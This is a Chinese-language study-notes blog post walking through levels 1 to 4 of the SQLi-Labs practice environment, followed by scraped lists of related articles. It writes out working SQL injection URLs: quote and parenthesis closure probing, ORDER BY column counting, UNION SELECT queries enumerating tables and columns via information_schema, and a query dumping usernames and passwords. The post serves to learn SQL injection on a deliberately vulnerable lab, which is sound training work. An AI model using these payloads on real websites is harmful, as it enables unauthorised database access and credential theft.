逼话少说,如有错误,烦请指出,谢谢。

第一关

提示传个id的参数

后面跟个单引号

http://10.2.10.31/sqli/Less-1/?id=1

发现报错,这里看到是已经闭合了

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

从报错内容中可以看出id传入的是str类型,可以分解成这样来看

传递了一个1‘的参数,并且1’的参数用单引号包裹,最后再最外层一层单引号

'  '  1'   ' LIMIT 0,1  '

然后再进行order by 来排序确定字段数

http://10.2.10.31/sqli/Less-1/?id=1' order by 3 --+ 返回正常

http://10.2.10.31/sqli/Less-1/?id=1' order by 4 --+ 返回错误

可以确定字段数为3

联合注入查询

后采用联合注入查看当前数据库名和数据库版本号

查询时发现只返回前面一条的查询数据,那就把id=-1,让前面的查询为空,就会返回后面的查询结果

http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,database(),version() --+

跨库查询表内的表名

http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'  --+

group_concat这个函数可以将多个字符串连接成一个字符串,就可以实现把表名一条输出出来

查询user字段的内容:

http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'  --+

查询username 和password的值

http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,username,password from users --+

第一关就到这里结束。

第二关

http://10.2.10.31/sqli/Less-2/?id=1%27

报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
 
 
发现多出来一个单引号,本来就是闭合的,把单引号删掉,按照之前的操作就行了
 
 
第二关结束
 
 
第三关
 
 
测试注入点
 
 
http://10.2.10.31/sqli/Less-3/?id=1'
 
 
报错信息
 
 
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

发现有括号闭合,那就变成

http://10.2.10.31/sqli/Less-3/?id=1’)

报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1

这时候就已经闭合了,就按着之前的操作,就解决了

第三关结束

第四关

测试注入点

http://10.2.10.31/sqli/Less-4/?id=1'

发现没有报错

改成用双引号

http://10.2.10.31/sqli/Less-4/?id=1"

报错信息

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

那就用http://10.2.10.31/sqli/Less-4/?id=1")闭合

按照之前的操作,就可以完成

第四关结束

SQLI-LABS学习笔记(一)的更多相关文章

  1. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  2. go语言,golang学习笔记1 官网下载安装,中文社区,开发工具LiteIDE

    go语言,golang学习笔记1 官网下载安装,中文社区,开发工具LiteIDE Go语言是谷歌2009发布的专门针对多处理器系统应用程序的编程进行了优化,使用Go编译的程序可以媲美C或C++代码的速 ...

  3. C51学习笔记

    转自:http://blog.csdn.net/gongyuan073/article/details/7856878 单片机C51学习笔记 一,   C51内存结构深度剖析 二,   reg51.头 ...

  4. R语言可视化学习笔记之添加p-value和显著性标记

    R语言可视化学习笔记之添加p-value和显著性标记 http://www.jianshu.com/p/b7274afff14f?from=timeline   上篇文章中提了一下如何通过ggpubr ...

  5. SQLi-Labs学习笔记

    结构化查询语言,也叫做SQL,从根本上说是一种处理数据库的编程语言.对于初学者,数据库仅仅是在客户端和服务端进行数据存储.SQL通过结构化查询,关系,面向对象编程等等来管理数据库.编程极客们总是搞出许 ...

  6. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  7. R ggplot学习笔记1

    R 可视化学习笔记 记参数挺费劲的,还是用的时候查官方文档吧,现在记个大概就行吧~ 1.ggplot2分层次绘图 1.1 核心理念 把绘图与数据分离,把数据相关的绘图与数据无关的绘图分离,按图层作图. ...

  8. Python 图片转字符画 学习笔记

    Python 图片转字符画 学习笔记 标签(空格分隔): Python 声明:此文章和所有代码是学习笔记,非原创,原文教程地址:https://www.shiyanlou.com/courses/37 ...

  9. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

  10. js学习笔记:webpack基础入门(一)

    之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...

随机推荐

  1. 实验十--- MySQL过程式数据库对象

    实验十 MySQL过程式数据库对象 一.  实验内容: 1. 存储过程的创建和调用 2. 存储函数的创建和调用 3. 触发器的创建和触发 4. 事件的创建和修改 一.  实验项目:员工管理数据库 用于 ...

  2. F - F HDU - 1173(二维化一维-思维)

    F - F HDU - 1173 一个邮递员每次只能从邮局拿走一封信送信.在一个二维的直角坐标系中,邮递员只能朝四个方向移动,正北.正东.正南.正西. 有n个需要收信的地址,现在需要你帮助找到一个地方 ...

  3. 在非主线程里面使用NSTimer创建和取消定时任务

    为什么要在非主线程创建NSTimer 将 timer 添加到主线程的Runloop里面本身会增加线程负荷 如果主线程因为某些原因阻塞卡顿了,timer 定时任务触发的时间精度肯定也会受到影响 有些定时 ...

  4. Window.requestAnimationFrame()动画更新

    概述 Window.requestAnimationFrame()方法告诉浏览器你希望执行动画,并且再下一次重绘之前要求浏览器调用一个特定的函数去更新动画.该方法把一个回调函数作为参数,该回调函数会在 ...

  5. wireshark一开,无线网络就断开

    最近在研究wireshark 笔记本连着wifi,开始抓包后,无线网就断了 查了半天,需要把捕获-->选项里的监控模式去掉就行了

  6. Linux基础;Day07

    dns服务  dns的作用:地址解析 IP -> 域名(反向)  域名 -> IP(正向) 类型 主域名服务器 负责维护一个区域的所有域名信息,是特定的所有信息的权威信息源,数据可以修改. ...

  7. 一口气说出 4种 LBS “附近的人” 实现方式,面试官笑了

    引言 昨天一位公众号粉丝和我讨论了一道面试题,个人觉得比较有意义,这里整理了一下分享给大家,愿小伙伴们面试路上少踩坑.面试题目比较简单:"让你实现一个附近的人功能,你有什么方案?" ...

  8. Python+Tornado开发微信公众号

    本文已同步到专业技术网站 www.sufaith.com, 该网站专注于前后端开发技术与经验分享, 包含Web开发.Nodejs.Python.Linux.IT资讯等板块. 本教程针对的是已掌握Pyt ...

  9. CH5105 Cookies (线性dp)

    传送门 解题思路: 贪心的想,贪婪值越大的孩子应该分得更多的饼干,那么先sort一遍在此基础上进行dp.最直观的方向,可以设dp[i][j]为前i个孩子一共分得j块饼干的怨恨最小值.然后转移第i+1个 ...

  10. HBase-2.2.3源码编译-Windows版

    源码环境一览 windows: 7 64Bit Java: 1.8.0_131 Maven:3.3.9 Git:2.24.0.windows.1 HBase:2.2.3 Hadoop:2.8.5 下载 ...